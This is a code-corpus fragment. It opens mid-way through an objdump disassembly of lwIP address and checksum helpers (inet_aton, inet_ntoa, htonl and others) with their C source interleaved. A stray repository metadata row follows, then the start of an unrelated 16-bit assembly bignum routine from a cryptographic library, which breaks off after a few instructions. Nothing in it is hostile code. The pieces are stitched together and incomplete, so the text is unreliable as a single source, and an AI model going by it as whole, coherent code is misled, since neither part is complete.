b72: 8b 45 fc mov 0xfffffffc(%ebp),%eax
b75: f7 d0 not %eax
b77: 0f b7 c0 movzwl %ax,%eax
}
b7a: c9 leave
b7b: c3 ret
b7c: 8d 74 26 00 lea 0x0(%esi),%esi
00000b80 <inet_chksum_pbuf>:
u16_t
inet_chksum_pbuf(struct pbuf *p)
{
b80: 55 push %ebp
b81: 89 e5 mov %esp,%ebp
b83: 83 ec 18 sub $0x18,%esp
u32_t acc;
struct pbuf *q;
u8_t swapped;
acc = 0;
b86: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
swapped = 0;
b8d: c6 45 ff 00 movb $0x0,0xffffffff(%ebp)
for(q = p; q != NULL; q = q->next) {
b91: 8b 45 08 mov 0x8(%ebp),%eax
b94: 89 45 f8 mov %eax,0xfffffff8(%ebp)
b97: eb 69 jmp c02 <inet_chksum_pbuf+0x82>
acc += lwip_chksum(q->payload, q->len);
b99: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
b9c: 0f b7 40 0a movzwl 0xa(%eax),%eax
ba0: 0f b7 d0 movzwl %ax,%edx
ba3: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
ba6: 8b 40 04 mov 0x4(%eax),%eax
ba9: 89 54 24 04 mov %edx,0x4(%esp)
bad: 89 04 24 mov %eax,(%esp)
bb0: e8 9b fd ff ff call 950 <lwip_chksum>
bb5: 0f b7 c0 movzwl %ax,%eax
bb8: 01 45 f4 add %eax,0xfffffff4(%ebp)
while (acc >> 16) {
bbb: eb 10 jmp bcd <inet_chksum_pbuf+0x4d>
acc = (acc & 0xffffUL) + (acc >> 16);
bbd: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
bc1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bc4: c1 e8 10 shr $0x10,%eax
bc7: 8d 04 02 lea (%edx,%eax,1),%eax
bca: 89 45 f4 mov %eax,0xfffffff4(%ebp)
bcd: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
bd0: c1 e8 10 shr $0x10,%eax
bd3: 85 c0 test %eax,%eax
bd5: 75 e6 jne bbd <inet_chksum_pbuf+0x3d>
}
if (q->len % 2 != 0) {
bd7: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
bda: 0f b7 40 0a movzwl 0xa(%eax),%eax
bde: 0f b7 c0 movzwl %ax,%eax
be1: 83 e0 01 and $0x1,%eax
be4: 84 c0 test %al,%al
be6: 74 12 je bfa <inet_chksum_pbuf+0x7a>
swapped = 1 - swapped;
be8: b8 01 00 00 00 mov $0x1,%eax
bed: 2a 45 ff sub 0xffffffff(%ebp),%al
bf0: 88 45 ff mov %al,0xffffffff(%ebp)
acc = (acc & 0x00ffUL << 8) | (acc & 0xff00UL >> 8);
bf3: 81 65 f4 ff ff 00 00 andl $0xffff,0xfffffff4(%ebp)
bfa: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
bfd: 8b 00 mov (%eax),%eax
bff: 89 45 f8 mov %eax,0xfffffff8(%ebp)
c02: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
c06: 75 91 jne b99 <inet_chksum_pbuf+0x19>
}
}
if (swapped) {
c08: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp)
c0c: 74 19 je c27 <inet_chksum_pbuf+0xa7>
acc = ((acc & 0x00ffUL) << 8) | ((acc & 0xff00UL) >> 8);
c0e: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
c12: 89 c2 mov %eax,%edx
c14: c1 e2 08 shl $0x8,%edx
c17: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
c1a: 25 00 ff 00 00 and $0xff00,%eax
c1f: c1 e8 08 shr $0x8,%eax
c22: 09 d0 or %edx,%eax
c24: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
return ~(acc & 0xffffUL);
c27: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
c2a: f7 d0 not %eax
c2c: 0f b7 c0 movzwl %ax,%eax
}
c2f: c9 leave
c30: c3 ret
c31: eb 0d jmp c40 <inet_addr>
c33: 90 nop
c34: 90 nop
c35: 90 nop
c36: 90 nop
c37: 90 nop
c38: 90 nop
c39: 90 nop
c3a: 90 nop
c3b: 90 nop
c3c: 90 nop
c3d: 90 nop
c3e: 90 nop
c3f: 90 nop
00000c40 <inet_addr>:
/* Here for now until needed in other places in lwIP */
#ifndef isascii
#define in_range(c, lo, up) ((u8_t)c >= lo && (u8_t)c <= up)
#define isascii(c) in_range(c, 0x20, 0x7f)
#define isdigit(c) in_range(c, '0', '9')
#define isxdigit(c) (isdigit(c) || in_range(c, 'a', 'f') || in_range(c, 'A', 'F'))
#define islower(c) in_range(c, 'a', 'z')
#define isspace(c) (c == ' ' || c == '\f' || c == '\n' || c == '\r' || c == '\t' || c == '\v')
#endif
/*
* Ascii internet address interpretation routine.
* The value returned is in network order.
*/
/* */
/* inet_addr */
u32_t inet_addr(const char *cp)
{
c40: 55 push %ebp
c41: 89 e5 mov %esp,%ebp
c43: 83 ec 28 sub $0x28,%esp
struct in_addr val;
if (inet_aton(cp, &val)) {
c46: 8d 45 fc lea 0xfffffffc(%ebp),%eax
c49: 89 44 24 04 mov %eax,0x4(%esp)
c4d: 8b 45 08 mov 0x8(%ebp),%eax
c50: 89 04 24 mov %eax,(%esp)
c53: e8 18 00 00 00 call c70 <inet_aton>
c58: 85 c0 test %eax,%eax
c5a: 74 08 je c64 <inet_addr+0x24>
return (val.s_addr);
c5c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
c5f: 89 45 ec mov %eax,0xffffffec(%ebp)
c62: eb 07 jmp c6b <inet_addr+0x2b>
}
return (INADDR_NONE);
c64: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp)
c6b: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
c6e: c9 leave
c6f: c3 ret
00000c70 <inet_aton>:
/*
* Check whether "cp" is a valid ascii representation
* of an Internet address and convert to a binary address.
* Returns 1 if the address is valid, 0 if not.
* This replaces inet_addr, the return value from which
* cannot distinguish between failure and a local broadcast address.
*/
/* */
/* inet_aton */
int inet_aton(const char *cp, struct in_addr *addr)
{
c70: 55 push %ebp
c71: 89 e5 mov %esp,%ebp
c73: 83 ec 48 sub $0x48,%esp
u32_t val;
int base, n;
char c;
u32_t parts[4];
u32_t* pp = parts;
c76: 8d 45 dc lea 0xffffffdc(%ebp),%eax
c79: 89 45 fc mov %eax,0xfffffffc(%ebp)
c = *cp;
c7c: 8b 45 08 mov 0x8(%ebp),%eax
c7f: 0f b6 00 movzbl (%eax),%eax
c82: 88 45 fb mov %al,0xfffffffb(%ebp)
for (;;) {
/*
* Collect number up to ``.''.
* Values are specified as for C:
* 0x=hex, 0=octal, isdigit=decimal.
*/
if (!isdigit(c))
c85: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
c89: 3c 2f cmp $0x2f,%al
c8b: 76 08 jbe c95 <inet_aton+0x25>
c8d: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
c91: 3c 39 cmp $0x39,%al
c93: 76 0c jbe ca1 <inet_aton+0x31>
return (0);
c95: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
c9c: e9 78 02 00 00 jmp f19 <inet_aton+0x2a9>
val = 0; base = 10;
ca1: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
ca8: c7 45 f0 0a 00 00 00 movl $0xa,0xfffffff0(%ebp)
if (c == '0') {
caf: 80 7d fb 30 cmpb $0x30,0xfffffffb(%ebp)
cb3: 75 36 jne ceb <inet_aton+0x7b>
c = *++cp;
cb5: 83 45 08 01 addl $0x1,0x8(%ebp)
cb9: 8b 45 08 mov 0x8(%ebp),%eax
cbc: 0f b6 00 movzbl (%eax),%eax
cbf: 88 45 fb mov %al,0xfffffffb(%ebp)
if (c == 'x' || c == 'X')
cc2: 80 7d fb 78 cmpb $0x78,0xfffffffb(%ebp)
cc6: 74 06 je cce <inet_aton+0x5e>
cc8: 80 7d fb 58 cmpb $0x58,0xfffffffb(%ebp)
ccc: 75 16 jne ce4 <inet_aton+0x74>
base = 16, c = *++cp;
cce: c7 45 f0 10 00 00 00 movl $0x10,0xfffffff0(%ebp)
cd5: 83 45 08 01 addl $0x1,0x8(%ebp)
cd9: 8b 45 08 mov 0x8(%ebp),%eax
cdc: 0f b6 00 movzbl (%eax),%eax
cdf: 88 45 fb mov %al,0xfffffffb(%ebp)
ce2: eb 07 jmp ceb <inet_aton+0x7b>
else
base = 8;
ce4: c7 45 f0 08 00 00 00 movl $0x8,0xfffffff0(%ebp)
}
for (;;) {
if (isascii(c) && isdigit(c)) {
ceb: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
cef: 3c 1f cmp $0x1f,%al
cf1: 76 3b jbe d2e <inet_aton+0xbe>
cf3: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
cf7: 78 35 js d2e <inet_aton+0xbe>
cf9: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
cfd: 3c 2f cmp $0x2f,%al
cff: 76 2d jbe d2e <inet_aton+0xbe>
d01: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d05: 3c 39 cmp $0x39,%al
d07: 77 25 ja d2e <inet_aton+0xbe>
val = (val * base) + (c - '0');
d09: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
d0c: 89 c2 mov %eax,%edx
d0e: 0f af 55 ec imul 0xffffffec(%ebp),%edx
d12: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax
d16: 8d 04 02 lea (%edx,%eax,1),%eax
d19: 83 e8 30 sub $0x30,%eax
d1c: 89 45 ec mov %eax,0xffffffec(%ebp)
c = *++cp;
d1f: 83 45 08 01 addl $0x1,0x8(%ebp)
d23: 8b 45 08 mov 0x8(%ebp),%eax
d26: 0f b6 00 movzbl (%eax),%eax
d29: 88 45 fb mov %al,0xfffffffb(%ebp)
d2c: eb bd jmp ceb <inet_aton+0x7b>
} else if (base == 16 && isascii(c) && isxdigit(c)) {
d2e: 83 7d f0 10 cmpl $0x10,0xfffffff0(%ebp)
d32: 0f 85 99 00 00 00 jne dd1 <inet_aton+0x161>
d38: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d3c: 3c 1f cmp $0x1f,%al
d3e: 0f 86 8d 00 00 00 jbe dd1 <inet_aton+0x161>
d44: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
d48: 0f 88 83 00 00 00 js dd1 <inet_aton+0x161>
d4e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d52: 3c 2f cmp $0x2f,%al
d54: 76 08 jbe d5e <inet_aton+0xee>
d56: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d5a: 3c 39 cmp $0x39,%al
d5c: 76 20 jbe d7e <inet_aton+0x10e>
d5e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d62: 3c 60 cmp $0x60,%al
d64: 76 08 jbe d6e <inet_aton+0xfe>
d66: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d6a: 3c 66 cmp $0x66,%al
d6c: 76 10 jbe d7e <inet_aton+0x10e>
d6e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d72: 3c 40 cmp $0x40,%al
d74: 76 5b jbe dd1 <inet_aton+0x161>
d76: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d7a: 3c 46 cmp $0x46,%al
d7c: 77 53 ja dd1 <inet_aton+0x161>
val = (val << 4) |
d7e: 8b 45 ec mov 0xffffffec(%ebp),%eax
d81: 89 c2 mov %eax,%edx
d83: c1 e2 04 shl $0x4,%edx
d86: 89 55 c4 mov %edx,0xffffffc4(%ebp)
d89: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax
d8d: 83 c0 0a add $0xa,%eax
d90: 89 45 c8 mov %eax,0xffffffc8(%ebp)
d93: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d97: 3c 60 cmp $0x60,%al
d99: 76 11 jbe dac <inet_aton+0x13c>
d9b: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
d9f: 3c 7a cmp $0x7a,%al
da1: 77 09 ja dac <inet_aton+0x13c>
da3: c7 45 cc 61 00 00 00 movl $0x61,0xffffffcc(%ebp)
daa: eb 07 jmp db3 <inet_aton+0x143>
dac: c7 45 cc 41 00 00 00 movl $0x41,0xffffffcc(%ebp)
db3: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
db6: 2b 45 cc sub 0xffffffcc(%ebp),%eax
db9: 0b 45 c4 or 0xffffffc4(%ebp),%eax
dbc: 89 45 ec mov %eax,0xffffffec(%ebp)
(c + 10 - (islower(c) ? 'a' : 'A'));
c = *++cp;
dbf: 83 45 08 01 addl $0x1,0x8(%ebp)
dc3: 8b 45 08 mov 0x8(%ebp),%eax
dc6: 0f b6 00 movzbl (%eax),%eax
dc9: 88 45 fb mov %al,0xfffffffb(%ebp)
} else
break;
}
dcc: e9 1a ff ff ff jmp ceb <inet_aton+0x7b>
if (c == '.') {
dd1: 80 7d fb 2e cmpb $0x2e,0xfffffffb(%ebp)
dd5: 75 35 jne e0c <inet_aton+0x19c>
/*
* Internet format:
* a.b.c.d
* a.b.c (with c treated as 16 bits)
* a.b (with b treated as 24 bits)
*/
if (pp >= parts + 3)
dd7: 8d 45 dc lea 0xffffffdc(%ebp),%eax
dda: 83 c0 0c add $0xc,%eax
ddd: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
de0: 77 0c ja dee <inet_aton+0x17e>
return (0);
de2: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
de9: e9 2b 01 00 00 jmp f19 <inet_aton+0x2a9>
*pp++ = val;
dee: 8b 55 fc mov 0xfffffffc(%ebp),%edx
df1: 8b 45 ec mov 0xffffffec(%ebp),%eax
df4: 89 02 mov %eax,(%edx)
df6: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
c = *++cp;
dfa: 83 45 08 01 addl $0x1,0x8(%ebp)
dfe: 8b 45 08 mov 0x8(%ebp),%eax
e01: 0f b6 00 movzbl (%eax),%eax
e04: 88 45 fb mov %al,0xfffffffb(%ebp)
} else
break;
}
e07: e9 79 fe ff ff jmp c85 <inet_aton+0x15>
/*
* Check for trailing characters.
*/
if (c != '\0' && (!isascii(c) || !isspace(c)))
e0c: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
e10: 74 3e je e50 <inet_aton+0x1e0>
e12: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
e16: 3c 1f cmp $0x1f,%al
e18: 76 2a jbe e44 <inet_aton+0x1d4>
e1a: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
e1e: 78 24 js e44 <inet_aton+0x1d4>
e20: 80 7d fb 20 cmpb $0x20,0xfffffffb(%ebp)
e24: 74 2a je e50 <inet_aton+0x1e0>
e26: 80 7d fb 0c cmpb $0xc,0xfffffffb(%ebp)
e2a: 74 24 je e50 <inet_aton+0x1e0>
e2c: 80 7d fb 0a cmpb $0xa,0xfffffffb(%ebp)
e30: 74 1e je e50 <inet_aton+0x1e0>
e32: 80 7d fb 0d cmpb $0xd,0xfffffffb(%ebp)
e36: 74 18 je e50 <inet_aton+0x1e0>
e38: 80 7d fb 09 cmpb $0x9,0xfffffffb(%ebp)
e3c: 74 12 je e50 <inet_aton+0x1e0>
e3e: 80 7d fb 0b cmpb $0xb,0xfffffffb(%ebp)
e42: 74 0c je e50 <inet_aton+0x1e0>
return (0);
e44: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
e4b: e9 c9 00 00 00 jmp f19 <inet_aton+0x2a9>
/*
* Concoct the address according to
* the number of parts specified.
*/
n = pp - parts + 1;
e50: 8b 55 fc mov 0xfffffffc(%ebp),%edx
e53: 8d 45 dc lea 0xffffffdc(%ebp),%eax
e56: 89 d1 mov %edx,%ecx
e58: 29 c1 sub %eax,%ecx
e5a: 89 c8 mov %ecx,%eax
e5c: c1 f8 02 sar $0x2,%eax
e5f: 83 c0 01 add $0x1,%eax
e62: 89 45 f4 mov %eax,0xfffffff4(%ebp)
switch (n) {
e65: 83 7d f4 04 cmpl $0x4,0xfffffff4(%ebp)
e69: 0f 87 8b 00 00 00 ja efa <inet_aton+0x28a>
e6f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
e72: c1 e0 02 shl $0x2,%eax
e75: 8b 80 f8 10 00 00 mov 0x10f8(%eax),%eax
e7b: ff e0 jmp *%eax
case 0:
return (0); /* initial nondigit */
e7d: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
e84: e9 90 00 00 00 jmp f19 <inet_aton+0x2a9>
case 1: /* a -- 32 bits */
break;
case 2: /* a.b -- 8.24 bits */
if (val > 0xffffff)
e89: 81 7d ec ff ff ff 00 cmpl $0xffffff,0xffffffec(%ebp)
e90: 76 09 jbe e9b <inet_aton+0x22b>
return (0);
e92: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
e99: eb 7e jmp f19 <inet_aton+0x2a9>
val |= parts[0] << 24;
e9b: 8b 45 dc mov 0xffffffdc(%ebp),%eax
e9e: c1 e0 18 shl $0x18,%eax
ea1: 09 45 ec or %eax,0xffffffec(%ebp)
break;
ea4: eb 54 jmp efa <inet_aton+0x28a>
case 3: /* a.b.c -- 8.8.16 bits */
if (val > 0xffff)
ea6: 81 7d ec ff ff 00 00 cmpl $0xffff,0xffffffec(%ebp)
ead: 76 09 jbe eb8 <inet_aton+0x248>
return (0);
eaf: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
eb6: eb 61 jmp f19 <inet_aton+0x2a9>
val |= (parts[0] << 24) | (parts[1] << 16);
eb8: 8b 45 dc mov 0xffffffdc(%ebp),%eax
ebb: 89 c2 mov %eax,%edx
ebd: c1 e2 18 shl $0x18,%edx
ec0: 8b 45 e0 mov 0xffffffe0(%ebp),%eax
ec3: c1 e0 10 shl $0x10,%eax
ec6: 09 d0 or %edx,%eax
ec8: 09 45 ec or %eax,0xffffffec(%ebp)
break;
ecb: eb 2d jmp efa <inet_aton+0x28a>
case 4: /* a.b.c.d -- 8.8.8.8 bits */
if (val > 0xff)
ecd: 81 7d ec ff 00 00 00 cmpl $0xff,0xffffffec(%ebp)
ed4: 76 09 jbe edf <inet_aton+0x26f>
return (0);
ed6: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
edd: eb 3a jmp f19 <inet_aton+0x2a9>
val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8);
edf: 8b 45 dc mov 0xffffffdc(%ebp),%eax
ee2: 89 c2 mov %eax,%edx
ee4: c1 e2 18 shl $0x18,%edx
ee7: 8b 45 e0 mov 0xffffffe0(%ebp),%eax
eea: c1 e0 10 shl $0x10,%eax
eed: 09 c2 or %eax,%edx
eef: 8b 45 e4 mov 0xffffffe4(%ebp),%eax
ef2: c1 e0 08 shl $0x8,%eax
ef5: 09 d0 or %edx,%eax
ef7: 09 45 ec or %eax,0xffffffec(%ebp)
break;
}
if (addr)
efa: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
efe: 74 12 je f12 <inet_aton+0x2a2>
addr->s_addr = htonl(val);
f00: 8b 45 ec mov 0xffffffec(%ebp),%eax
f03: 89 04 24 mov %eax,(%esp)
f06: e8 65 01 00 00 call 1070 <htonl>
f0b: 89 c2 mov %eax,%edx
f0d: 8b 45 0c mov 0xc(%ebp),%eax
f10: 89 10 mov %edx,(%eax)
return (1);
f12: c7 45 c0 01 00 00 00 movl $0x1,0xffffffc0(%ebp)
f19: 8b 45 c0 mov 0xffffffc0(%ebp),%eax
}
f1c: c9 leave
f1d: c3 ret
f1e: 89 f6 mov %esi,%esi
00000f20 <inet_ntoa>:
/* Convert numeric IP address into decimal dotted ASCII representation.
* returns ptr to static buffer; not reentrant!
*/
char *inet_ntoa(struct in_addr addr)
{
f20: 55 push %ebp
f21: 89 e5 mov %esp,%ebp
f23: 53 push %ebx
f24: 83 ec 24 sub $0x24,%esp
static char str[16];
u32_t s_addr = addr.s_addr;
f27: 8b 45 08 mov 0x8(%ebp),%eax
f2a: 89 45 ec mov %eax,0xffffffec(%ebp)
char inv[3];
char *rp;
char *ap;
u8_t rem;
u8_t n;
u8_t i;
rp = str;
f2d: c7 45 f0 2c 11 00 00 movl $0x112c,0xfffffff0(%ebp)
ap = (u8_t *)&s_addr;
f34: 8d 45 ec lea 0xffffffec(%ebp),%eax
f37: 89 45 f4 mov %eax,0xfffffff4(%ebp)
for(n = 0; n < 4; n++) {
f3a: c6 45 fa 00 movb $0x0,0xfffffffa(%ebp)
f3e: e9 af 00 00 00 jmp ff2 <inet_ntoa+0xd2>
i = 0;
f43: c6 45 fb 00 movb $0x0,0xfffffffb(%ebp)
do {
rem = *ap % (u8_t)10;
f47: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
f4a: 0f b6 08 movzbl (%eax),%ecx
f4d: b8 67 00 00 00 mov $0x67,%eax
f52: f6 e9 imul %cl
f54: 66 c1 e8 08 shr $0x8,%ax
f58: 89 c2 mov %eax,%edx
f5a: c0 fa 02 sar $0x2,%dl
f5d: 89 c8 mov %ecx,%eax
f5f: c0 f8 07 sar $0x7,%al
f62: 89 d3 mov %edx,%ebx
f64: 28 c3 sub %al,%bl
f66: 88 5d db mov %bl,0xffffffdb(%ebp)
f69: 0f b6 45 db movzbl 0xffffffdb(%ebp),%eax
f6d: c1 e0 02 shl $0x2,%eax
f70: 02 45 db add 0xffffffdb(%ebp),%al
f73: 01 c0 add %eax,%eax
f75: 89 ca mov %ecx,%edx
f77: 28 c2 sub %al,%dl
f79: 88 55 db mov %dl,0xffffffdb(%ebp)
f7c: 0f b6 5d db movzbl 0xffffffdb(%ebp),%ebx
f80: 88 5d f9 mov %bl,0xfffffff9(%ebp)
*ap /= (u8_t)10;
f83: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
f86: 0f b6 08 movzbl (%eax),%ecx
f89: b8 67 00 00 00 mov $0x67,%eax
f8e: f6 e9 imul %cl
f90: 66 c1 e8 08 shr $0x8,%ax
f94: 89 c2 mov %eax,%edx
f96: c0 fa 02 sar $0x2,%dl
f99: 89 c8 mov %ecx,%eax
f9b: c0 f8 07 sar $0x7,%al
f9e: 28 c2 sub %al,%dl
fa0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
fa3: 88 10 mov %dl,(%eax)
inv[i++] = '0' + rem;
fa5: 0f b6 55 fb movzbl 0xfffffffb(%ebp),%edx
fa9: 0f b6 45 f9 movzbl 0xfffffff9(%ebp),%eax
fad: 83 c0 30 add $0x30,%eax
fb0: 88 44 15 e9 mov %al,0xffffffe9(%ebp,%edx,1)
fb4: 80 45 fb 01 addb $0x1,0xfffffffb(%ebp)
} while(*ap);
fb8: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
fbb: 0f b6 00 movzbl (%eax),%eax
fbe: 84 c0 test %al,%al
fc0: 75 85 jne f47 <inet_ntoa+0x27>
while(i--)
fc2: eb 12 jmp fd6 <inet_ntoa+0xb6>
*rp++ = inv[i];
fc4: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
fc8: 0f b6 54 05 e9 movzbl 0xffffffe9(%ebp,%eax,1),%edx
fcd: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
fd0: 88 10 mov %dl,(%eax)
fd2: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
fd6: 80 6d fb 01 subb $0x1,0xfffffffb(%ebp)
fda: 80 7d fb ff cmpb $0xff,0xfffffffb(%ebp)
fde: 75 e4 jne fc4 <inet_ntoa+0xa4>
*rp++ = '.';
fe0: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
fe3: c6 00 2e movb $0x2e,(%eax)
fe6: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
ap++;
fea: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp)
fee: 80 45 fa 01 addb $0x1,0xfffffffa(%ebp)
ff2: 80 7d fa 03 cmpb $0x3,0xfffffffa(%ebp)
ff6: 0f 86 47 ff ff ff jbe f43 <inet_ntoa+0x23>
}
*--rp = 0;
ffc: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp)
1000: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
1003: c6 00 00 movb $0x0,(%eax)
return str;
1006: b8 2c 11 00 00 mov $0x112c,%eax
}
100b: 83 c4 24 add $0x24,%esp
100e: 5b pop %ebx
100f: 5d pop %ebp
1010: c3 ret
1011: eb 0d jmp 1020 <htons>
1013: 90 nop
1014: 90 nop
1015: 90 nop
1016: 90 nop
1017: 90 nop
1018: 90 nop
1019: 90 nop
101a: 90 nop
101b: 90 nop
101c: 90 nop
101d: 90 nop
101e: 90 nop
101f: 90 nop
00001020 <htons>:
#ifndef BYTE_ORDER
#error BYTE_ORDER is not defined
#endif
#if BYTE_ORDER == LITTLE_ENDIAN
u16_t
htons(u16_t n)
{
1020: 55 push %ebp
1021: 89 e5 mov %esp,%ebp
1023: 83 ec 04 sub $0x4,%esp
1026: 8b 45 08 mov 0x8(%ebp),%eax
1029: 66 89 45 fc mov %ax,0xfffffffc(%ebp)
return ((n & 0xff) << 8) | ((n & 0xff00) >> 8);
102d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
1031: 25 ff 00 00 00 and $0xff,%eax
1036: c1 e0 08 shl $0x8,%eax
1039: 89 c2 mov %eax,%edx
103b: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
103f: 25 00 ff 00 00 and $0xff00,%eax
1044: c1 f8 08 sar $0x8,%eax
1047: 09 d0 or %edx,%eax
1049: 0f b7 c0 movzwl %ax,%eax
}
104c: c9 leave
104d: c3 ret
104e: 89 f6 mov %esi,%esi
00001050 <ntohs>:
u16_t
ntohs(u16_t n)
{
1050: 55 push %ebp
1051: 89 e5 mov %esp,%ebp
1053: 83 ec 08 sub $0x8,%esp
1056: 8b 45 08 mov 0x8(%ebp),%eax
1059: 66 89 45 fc mov %ax,0xfffffffc(%ebp)
return htons(n);
105d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
1061: 89 04 24 mov %eax,(%esp)
1064: e8 b7 ff ff ff call 1020 <htons>
1069: 0f b7 c0 movzwl %ax,%eax
}
106c: c9 leave
106d: c3 ret
106e: 89 f6 mov %esi,%esi
00001070 <htonl>:
u32_t
htonl(u32_t n)
{
1070: 55 push %ebp
1071: 89 e5 mov %esp,%ebp
return ((n & 0xff) << 24) |
1073: 0f b6 45 08 movzbl 0x8(%ebp),%eax
1077: 89 c2 mov %eax,%edx
1079: c1 e2 18 shl $0x18,%edx
107c: 8b 45 08 mov 0x8(%ebp),%eax
107f: 25 00 ff 00 00 and $0xff00,%eax
1084: c1 e0 08 shl $0x8,%eax
1087: 09 c2 or %eax,%edx
1089: 8b 45 08 mov 0x8(%ebp),%eax
108c: 25 00 00 ff 00 and $0xff0000,%eax
1091: c1 e8 08 shr $0x8,%eax
1094: 09 c2 or %eax,%edx
1096: 8b 45 08 mov 0x8(%ebp),%eax
1099: 25 00 00 00 ff and $0xff000000,%eax
109e: c1 e8 18 shr $0x18,%eax
10a1: 09 d0 or %edx,%eax
((n & 0xff00) << 8) |
((n & 0xff0000) >> 8) |
((n & 0xff000000) >> 24);
}
10a3: 5d pop %ebp
10a4: c3 ret
10a5: 8d 74 26 00 lea 0x0(%esi),%esi
10a9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000010b0 <ntohl>:
u32_t
ntohl(u32_t n)
{
10b0: 55 push %ebp
10b1: 89 e5 mov %esp,%ebp
10b3: 83 ec 04 sub $0x4,%esp
return htonl(n);
10b6: 8b 45 08 mov 0x8(%ebp),%eax
10b9: 89 04 24 mov %eax,(%esp)
10bc: e8 af ff ff ff call 1070 <htonl>
}
10c1: c9 leave
10c2: c3 ret
| 41.117223 | 104 | 0.421709 |
1490b67f7a703db8ecf32d6ea5ce0ec6466f87dc | 6,021 | asm | Assembly | Encryption/cryptl30/bn/x86w32.asm | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 46 | 2017-05-15T11:15:08.000Z | 2018-07-02T03:32:52.000Z | Encryption/cryptl30/bn/x86w32.asm | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | null | null | null | Encryption/cryptl30/bn/x86w32.asm | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 24 | 2017-05-17T03:26:17.000Z | 2018-07-09T07:00:50.000Z | ; Static Name Aliases
;
TITLE bn_mulw.c
.386
F_TEXT SEGMENT WORD USE16 PUBLIC 'CODE'
F_TEXT ENDS
_DATA SEGMENT WORD USE16 PUBLIC 'DATA'
_DATA ENDS
_CONST SEGMENT WORD USE16 PUBLIC 'CONST'
_CONST ENDS
_BSS SEGMENT WORD USE16 PUBLIC 'BSS'
_BSS ENDS
DGROUP GROUP _CONST, _BSS, _DATA
ASSUME DS: DGROUP, SS: DGROUP
F_TEXT SEGMENT
ASSUME CS: F_TEXT
PUBLIC _bn_mul_add_words
_bn_mul_add_words PROC FAR
; Line 58
push bp
push bx
push esi
push di
push ds
push es
mov bp,sp
; w = 28
; num = 26
; ap = 22
; rp = 18
xor esi,esi ;c=0;
mov di,WORD PTR [bp+18] ; load r
mov ds,WORD PTR [bp+20] ; load r
mov bx,WORD PTR [bp+22] ; load a
mov es,WORD PTR [bp+24] ; load a
mov ecx,DWORD PTR [bp+28] ; load w
mov bp,WORD PTR [bp+26] ; load num
